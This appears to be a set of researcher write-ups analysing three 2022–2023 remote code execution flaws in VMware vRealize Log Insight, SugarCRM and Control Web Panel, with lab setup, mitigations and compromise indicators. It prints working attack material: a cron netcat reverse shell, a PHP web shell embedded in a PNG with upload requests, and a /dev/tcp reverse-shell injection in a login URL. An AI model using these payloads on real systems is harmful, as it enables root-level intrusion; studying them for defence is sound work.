Basically there are four vulnerabilities that are published in the VMware VMSA-2023-0001 security disclosure:
CVE-2022-31706
: VMware vRealize Log Insight Directory Traversal Vulnerability
CVE-2022-31704
: VMware vRealize Log Insight broken Access Control Vulnerability
CVE-2022-31710
: VMware vRealize Log Insight Deserialization Vulnerability
CVE-2022-31711
: VMware vRealize Log Insight Information Disclosure Vulnerability
The analysis shows that three vulnerabilities CVE-2022-31706
, CVE-2022-31704
and CVE-2022-31711
are chained to achieve the RCE.
In a nutshell:
CVE-2022-31704
is used to gain unauthorized access to theApache Thrift
server to execute commands.Apache Thrift
is a RPC framework that allows client/server communication and is typically used to establish communication between components of the system.
- The
Apache Thrift
server in the VMware vRealize Log Insight application is vulnerable and can be accessed with a client to execute specific commands defined in the framework.
- In this scenario, two RPC commands are being exploited,
remotePakDownloadCommand
andpakUpgradeCommand
that allows for an unauthenticated upload of a malicious PAK file with an attached payload that can be extracted to any place on the filesystem usingCVE-2022-31706
that allows for Directory Traversal.
- Last but not least, the
remotePakDownloadCommand
requires a node token to work. A node token is aguid
that is unique per instance of Log Insight. This information is not readily available to an unauthenticated user. However, there are variousThrift
RPC commands that leak the node token includinggetConfig
andgetHealthStatus
, which links back to the thirdCVE-2022-31711
– VMware vRealize Log Insight Information Disclosure Vulnerability.
Now let’s see in real-life practice, how this vulnerability works…
First we need install a vulnerable instance of VMware vRealize Log Insight, which you can download from this link.
You need to be registered as a customer or you can apply for a trial license before you can download the OVA.
Import the OVA in your favorite hypervisor application. I am using Oracle VirtualBox.
Please allocate enough memory and CPU (minimal 4 GB and 2 vCPU) otherwise your appliance will be dead slow and the exploit will fail due to lack of space in the /tmp
directory.
Go thru the setup of the appliance. This is all very straight forward.
If you have the appliance running, go to the POC at Github that has been created by the Horizon3.ai
team.
Clone the repository.
Before you start executing the exploit, please install Thrift
python support.
# pip3 install thrift
and install the thrift-compiler
.
Not needed for the exploit to work but it gives you the ability to generate thrift modules for other languages such as ruby
.
# apt install thrift-compiler
The last thing that you need to do is to correct a small typo that the guys from Horizon3.ai
made in their code.
Yeah, everybody makes mistakes, even these guys ;–)
Open VMSA-2023-0001.py
with your favorite editor and go to the section below.
def remote_pak_download(client, node_token, http_server_address, http_server_port): command = Command() command.commandType = 9 download_command = RemotePakDownloadCommand() download_command.sourceNodeToken = node_token # The remote system does not return an error if this url is incorrect. # It just silently fails download_command.requestUrl = f"http://{http_server_address}:{http_server_port}/exploit.tar" download_command.fileName = "exploit.pak" command.remotePakDownloadCommand = download_command
Change download_command.fileName = "exploit"
to download_command.fileName = "exploit.pak"
and save the file.
Now we are ready to run the exploit against our installed target.
- The exploit will gain access by obtaining the token.
- Next, it will create a malicious PAK file with the payload attached that is a crontab file with a
netcat
command connecting back to your system.
- PAK file gets upload and extracted using the vulnerable
Apache Thrift
server running on the Log Insight server.
- Run a
netcat
listener on your system to catch thenetcat
connection from the target system triggered by thecron
daemon after successful exploitation.
# python3 ./VMSA-2023-0001.py --target_address 192.168.100.92 --http_server_address 192.168.100.7 --http_server_port 1981 --payload_file payload --payload_path /etc/cron.d/exploit [+] Using CVE-2022-31711 to leak node token [+] Found node token: 8984be67-2394-4da1-bf87-2635d558329d [+] Using CVE-2022-31704 to trigger malicious file download 192.168.100.92 - - [03/Feb/2023 17:19:02] "GET /exploit.tar HTTP/1.1" 200 - [+] File successfully downloaded [+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell [+] Payload successfully delivered # nc -lnvp 8888 listening on [any] 8888 ... connect to [192.168.100.7] from (UNKNOWN) [192.168.100.92] 42746 uname -a Linux localhost 4.19.245-1.ph3 #1-photon SMP Thu Jun 2 02:30:39 UTC 2022 x86_64 GNU/Linux whoami root cat /etc/issue VMware vRealize Log Insight cat /etc/photon-release VMware Photon OS 3.0 PHOTON_BUILD_NUMBER=05f9d3d8d
If you login into the appliance, you can find the exploit.pak
in the /tmp
directory and the a cron file exploit
created in the /etc/cron.d
directory.
If you check the contents of the PAK file, you will see the ../../etc/crond.d/exploit
file with the directory traversal.
root@localhost [ ~ ]# ls -l /tmp/*.pak -rw-r--r-- 1 root root 122880 Feb 3 17:18 /tmp/exploit.pak root@localhost [ ~ ]# ls -l /etc/cron.d/exploit -rw-r--r-- 1 root root 51 Feb 3 12:24 /etc/cron.d/exploit root@localhost [ ~ ]# cat /etc/cron.d/exploit * * * * * root nc -e /bin/bash 192.168.100.7 8888 root@localhost [ ~ ]# tar -tvf/tmp/exploit.pak -rw-r--r-- root/root 35768 2023-02-03 09:10 upgrade-image-8.10.2-21145187.rpm -rw-r--r-- root/root 35768 2023-02-03 09:10 upgrade-driver -rw-r--r-- root/root 35768 2023-02-03 09:10 eula.txt -rw-r--r-- root/root 1926 2023-02-03 09:10 VMware-vRealize-Log-Insight.cert -rw-r--r-- root/root 1790 2023-02-03 09:10 VMware-vRealize-Log-Insight.mf tar: Removing leading `../../' from member names -rw-r--r-- root/root 51 2023-02-03 12:24 ../../etc/cron.d/exploit
The example above show that the exploit is pretty simple to weaponize and execute, however there is a low probability of exploitation in the wild.
The main reason is that VMware vRealize Log Insight
is typically not exposed to the public Internet and the Thrift
RPC ports 16520
through 16580
should be accessible for the exploit to work.
But from the inside, it is of course a very attractive target to exploit because it has tons of nice information on the network and servers ready to be disclosed to an attacker.
Mitigation
Please update VMware vRealize Log Insight
to 8.10.2
.
References
Horizon3.ai: VMware vRealize Log Insight VMSA-2023-0001 Technical Deep Dive
VMware advisory
Horizon3.ai: POC
Credits
Credits goes to the security researchers below that analyzed the vulnerabilities and discovered the RCE chain.
@rbowes-r7, I did some testing myself on the community editions, but I did not get the vulnerability to work on that platform.
The commercial editions are affected as outlined in the vendor advisory.
Technical Analysis
Last December, 28th 2022, a zero.day vulnerability in the SugarCRM application was disclosed by sw33t.0day
. SugarCRM is a popular CRM application that is used by thousands of customers and the latest run of shodan
shows more than 5600 instances active on the Internet.
It is fair to say that not all instances are vulnerable. There is a fast amount of SugarCRM Community Editions amongst them that are not affected by this vulnerability.
For the vulnerable versions, please check the security advisory sugarcrm-sa-2023-001 from the vendor.
The vulnerability in sugarCRM could allow an unauthenticated attacker to upload a malicious PNG file with embedded PHP code to the /cache/images/
directory on the web server. Once uploaded to the server, depending on server configuration, the attacker may be able to execute that code over the web via HTTP
or HTTPS
gaining access to the system.
The vulnerability is caused by two issues in the code base of sugarCRM.
First issue is a missing authentication check in the loadUser()
method in include/MVC/SugarApplication.php
.
After a failed login, the session does not get destroyed and hence the attacker can continue to send valid requests to the application.
The burp request below shows this behavior.
Authentication request and response from a vulnerable instance
POST /index.php HTTP/1.1 Host: TARGET:80 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15 Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: close module=Users&action=Authenticate&user_name=brenda&user_password=DbLiL98a
Response is a HTTP 500 message and the response says You must specify a valid username and password.
Could be different depending on the language settings.
HTTP/1.0 500 Server Error Date: Wed, 18 Jan 2023 05:54:58 GMT Server: Apache/2.4.10 (Debian) Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly; Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly; Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; HttpOnly Status: 500 Server Error Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly; Content-Length: 47 Connection: close Content-Type: text/html; charset=UTF-8 You must specify a valid username and password.
After applying the suggested fix below from the vendor, the session information gets destroyed after a failed login and further request will fail.
//If there was a login error, we should not allow the further code execution and destroy the session if (isset($_SESSION['login_error'])) { if ($sess->getId()) { $sess->destroy(); }; header('Location: ' . $this->getUnauthenticatedHomeUrl(true)); exit(); }
Burp response after the patch, where the response says You need to be logged in to perform this action.
HTTP/1.0 500 Server Error Date: Tue, 17 Jan 2023 07:23:56 GMT Server: Apache/2.4.10 (Debian) Set-Cookie: PHPSESSID=cf6361a9-6222-45f4-bcfb-08d0dc88376e; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Status: 500 Server Error Content-Length: 49 Connection: close Content-Type: text/html; charset=UTF-8 You need to be logged in to perform this action.
The second issue is around the ability to upload of a malicious PNG file with PHP code embedded that can be executed by the attacker.
The vulnerable endpoint is /index.php?module=EmailTemplates&action=AttachFiles
There is a good reference Persistent PHP payloads in PNGs that explains very well how to build a malicious PNG file with PHP code embedded.
The are several ways to hide web shell code into a PNG to make the upload of such malicious PNG successful.
In this case, we will embed the web shell code into a so called PLTE chunk which stores the color palette code of a PNG.
This PLTE chunk is a critical chunk of data that does not get compressed when uploading a PNG which typically a lot of web applications do nowadays.
The PLTE chunk contains from 1 to 256 palette entries, each a three-byte series of the form:
Red: 1 byte (0 = black, 255 = red)
Green: 1 byte (0 = black, 255 = green)
Blue: 1 byte (0 = black, 255 = blue)
Using the PLTE chunk, we potentially have 256*3 bytes available to inject our payload into such a critical chunk, which should be more than enough. The only constraint being that the length of the payload must be divisible by 3.
Our main objective is to keep our web shell small and keep it flexible to accommodate large payloads to avoid the restrictions 768 bytes and the length of the payload. By using a PHP payload like <?=$_GET[0](base64_decode($_POST[1]));?>
, it will satisfy those requirements where you externalize the actual payload to be delivered to the target and can modify the PHP shell command functions during runtime such as exec()
, passthru()
, shell_exec()
and system()
.
See curl
examples below.
# echo 'ls -l' | base64 bHMgLWwK # curl -XPOST -d '1=bHMgLWw=' 'http://localhost/yohoo.phar?0=passthru' -o - # curl -XPOST -d '1=bHMgLWw=' 'http://localhost/yohoo.phar?0=system' -o - # curl -XPOST -d '1=bHMgLWw=' 'http://localhost/yohoo.phar?0=shell_exec' -o -
The burp requests below shows a success upload of the malicious PNG with PHP code embedded at a vulnerable target followed by a successful command injection.
Malicious PNG File upload
POST /index.php HTTP/1.1 Host: TARGET:80 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15 Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWeTJtA8WByYIQMGR Content-Length: 601 Connection: close ------WebKitFormBoundaryWeTJtA8WByYIQMGR Content-Disposition: form-data; name="action" AttachFiles ------WebKitFormBoundaryWeTJtA8WByYIQMGR Content-Disposition: form-data; name="module" EmailTemplates ------WebKitFormBoundaryWeTJtA8WByYIQMGR Content-Disposition: form-data; name="file"; filename="yohoo.phar" Content-Type: image/png PNG --Garbled binary text--<?=$_GET[0](base64_decode($_POST[1]));?>--Garbled binary text-- ------WebKitFormBoundaryWeTJtA8WByYIQMGR--
Successful response of the upload will show the file entry at end of the response.
HTTP/1.1 200 OK Date: Wed, 18 Jan 2023 05:55:00 GMT Server: Apache/2.4.10 (Debian) Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly Vary: Accept-Encoding Content-Length: 4460 Connection: close Content-Type: text/html; charset=UTF-8 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang='en_us'> <head> ---- A LOT of HTML CRAP ---- <div id="main"> <div id="content"> <table style="width:100%" id="contentTable"><tr><td> ["cache\/images\/yohoo.phar"]
Command execution of ls -l
POST /cache/images/yohoo.phar?0=passthru HTTP/1.1 Host:TARGET:80 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15 Cookie: PHPSESSID=06457e85-5a6c-4428-880a-8e5134137650 Content-Type: application/x-www-form-urlencoded Content-Length: 10 Connection: close 1=bHMgLWwK
Remote command execution response
HTTP/1.1 200 OK Date: Mon, 16 Jan 2023 16:23:10 GMT Server: Apache/2.4.10 (Debian) Vary: Accept-Encoding Content-Length: 1209 Connection: close Content-Type: text/html; charset=UTF-8 PNG --Garbled binary text--total 76 -rw-r--r-- 1 www-data www-data 207 Jan 16 14:38 yohoo.phar --Garbled binary text--
You can of course vary the 0 parameter with other PHP shell command functions such as exec
, shell_exec
or system
.
Evidence of compromise
When you want to check if your system is compromised, please look for unexpected files in the /cache/images/
directory. The published exploit had a filename sweet.phar
that was not cleaned. However, attackers have changed these filenames such as imagefile.phar
, meow.phar
, rvsm.phar
, aws.phar
, and are using files with other extensions.
Also be conscious of the fact that the files might have been cleaned up by the attacker to cover their tracks.
Other evidence might be failed execution request for files under the /cache/images/
directory with the extension php
, phar
, phtml
, php7
, or any other executable extension NOT allowed by your web server configuration. The response codes can be found in your web server logs, such as 404
– the file was not found or 403
– the access was denied by web server.
Mitigation
Please follow the guidelines from the vendor to patch your system January 5, 2023: Security vulnerability update and FAQ or configure additional security settings in your web server such as preventing PHP code parsing/execution using .htaccess setting
file in /cache/images/
directory and/or prevent PHP code execution by updating security settings in the php.ini
file. Lots of security guidance is available on the Internet.
Another less obvious security measure to consider is to enable SAML
authentication that will mitigate the authentication bypass issue, hence will protect you against unauthenticated malicious file uploads.
I have created a Metasploit
module to test this vulnerability. A local version of this module can found at the References section.
Submission to Metasploit mainstream is completed and module is in production.
References
Full Disclosure
Public Exploit – Packetstorm
Security Advisory – sugarcrm-sa-2023-001
January 5, 2023: Security vulnerability update and FAQ
Encoding web shells in PNG IDAT chunks
Persistent PHP payloads in PNGs
Metasploit Development h00die-gr3y
Credits
Credits goes to sw33t.0day
below who discovered this vulnerability.
Technical Analysis
This vulnerability is all about “Why Quotes Matter”
In December 2022, security researcher Numan Türle
from Gais Cyber Security
discovered an unauthenticated remote code execution vulnerability in the Control Web Panel 7 (CWP) application. They state on their website that CWP is a World Leading advanced Free and PRO web hosting panel that gives you all the flexibility to effectively and efficiently manage your server and clients.
The vulnerability is exposed thru the admin endpoint /login/index.php?login
which typically runs on port 2030
or 2086
for http
and port 2031
and port 2087
for https
. Successful exploitation results in command execution as the root
user. CWP versions 0.9.8.1146
and below are vulnerable.
The issue is triggered by the improper use of quotes when a failed login entry is logged in the /var/log/cwp_client_login.log
.
The example below shows why the proper usage of quotes is important when applied in a unix shell.
[root@localhost ~]# echo "$(whoami)" root [root@localhost ~]# echo '$(whoami)' $(whoami) [root@localhost ~]# echo "'$(whoami)'" 'root' [root@localhost ~]# echo ''$(whoami)'' root
In the first example, the inline bash command $(whoami)
gets executed within the echo
command using double quotes.
However, if you use single quotes, it is treated as text which is the standard unix shell behavior. But if you try to be smart and put double quotes around the single quotes, it again executes $(whoami)
because the single quotes are seen as text if surrounded by double quotes.
This is no secret to experienced unix admins, but typically software developers can be easily tricked when they use underlying unix shell commands and quotes in their programs.
And this is exactly the problem that triggers this vulnerability.
Let’s have a quick look, what is going under the hood….
Take the burp request below, where we will trigger a failed login entry using the existing default user root
with a wrong password.
POST /login/index.php?login= HTTP/1.1 Host: 192.168.100.89:2031 Content-Length: 46 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en Connection: close username=root&password=idonotcare&commit=Login
If we monitor the /var/log/cwp_client_login.log
then we can see an failed login entry.
[root@localhost ~]# tail -f /var/log/cwp_client_login.log 2023-01-14 17:37:04 root Failed Login from: 192.168.100.7 on: 'https://localhost:2031/login/index.php?login='
If we do the same burp request, but now with our $(whoami)
added.
And surprise, surprise, the whoami
command gets executed (see second log entry).
[root@localhost ~]# tail -f /var/log/cwp_client_login.log 2023-01-14 17:37:04 root Failed Login from: 192.168.100.7 on: 'https://localhost:2031/login/index.php?login=' 2023-01-14 17:40:25 root Failed Login from: 192.168.100.7 on: 'https://localhost:2031/login/index.php?login=root'
Now lets take a reverse bash shell.
POST /login/index.php?login=$(bash -i >& /dev/tcp/192.168.100.7/4444 0>&1) HTTP/1.1 Host: 192.168.100.89:2031 Content-Length: 46 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en Connection: close username=root&password=idonotcare&commit=Login
And voila, a reverse shell as root
user on the target.
# nc -lnvp 4444 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 192.168.100.89. Ncat: Connection from 192.168.100.89:51988. bash: no job control in this shell [root@localhost login]# whoami whoami root You have new mail in /var/mail/root [root@localhost login]#
Another interesting piece is that you actually can see the command running in the process list that is writing the log entry to the log file.
You can clearly see the improper use of the double quotes in this command line.
root 12238 12231 0 03:41 ? 00:00:00 sleep 17897 root 12493 910 0 03:43 ? 00:00:37 php-fpm: pool cwpsrv postfix 27739 1538 0 07:41 ? 00:00:00 pickup -l -t fifo -u -o content_filter= -o receive_override_options=no_header_body_checks root 29668 2 0 08:02 ? 00:00:00 [kworker/0:3] root 30160 2 0 08:10 ? 00:00:00 [kworker/0:1] root 30718 2 0 08:15 ? 00:00:00 [kworker/0:0] root 30869 7118 0 08:17 ? 00:00:00 sh -c echo "2023-01-14 13:17:46 root Failed Login from: 192.168.100.7 on: 'https://localhost:2031/login/index.php?login=$(bash -i >& /dev/tcp/192.168.100.7/4444 0>&1)'" >> /var/log/cwp_client_login.log
If you want to test it yourself, please follow this guidance to build a vulnerable configuration. Please do not expose this to the Internet unless you want to be compromised ;–)
Before you execute step 7. sh cwp-el7-latest
, please edit the file and make the following adjustments to download the vulnerable version and prevent the auto update.
nano /usr/local/src/cwp-el7-latest >>>>> # wget static.cdn-cwp.com/files/cwp/el7/cwp-el7-0.9.8.1148.zip # unzip -o -q cwp-el7-0.9.8.1148.zip # rm -f cwp-el7-0.9.8.1148.zip wget static.cdn-cwp.com/files/cwp/el7/cwp-el7-0.9.8.1146.zip unzip -o -q cwp-el7-0.9.8.1146.zip >>>>> # update cwp chmod +x /scripts/cwp_api # sh /scripts/update_cwp sh /scripts/cwp_set_memory_limit >>>>>
After running the installation script which takes about 30 minutes, please rename /usr/local/cwpsrv/htdocs/resources/scripts/update_cwp
to update_cwp.something
otherwise CWP will get updated to the latest version when you start the application.
Mitigation
The CWP application has an auto update feature that can not be disabled in the application. Therefore the likelihood to find any vulnerable CWP application in the wild is almost zero.
I have created a Metasploit module. A local version of this module can found at the References section.
References
Github
Packetstorm
Metasploit Development h00die-gr3y
Credits
Credits goes to the security researcher below who discovered and analyzed this vulnerability.
A very nice and detailed analysis of a POC that exploits this vulnerability => A More Complete Exploit for Fortinet CVE-2022-42475
and another reference to a POC => Producing a POC for CVE-2022-42475 (Fortinet RCE)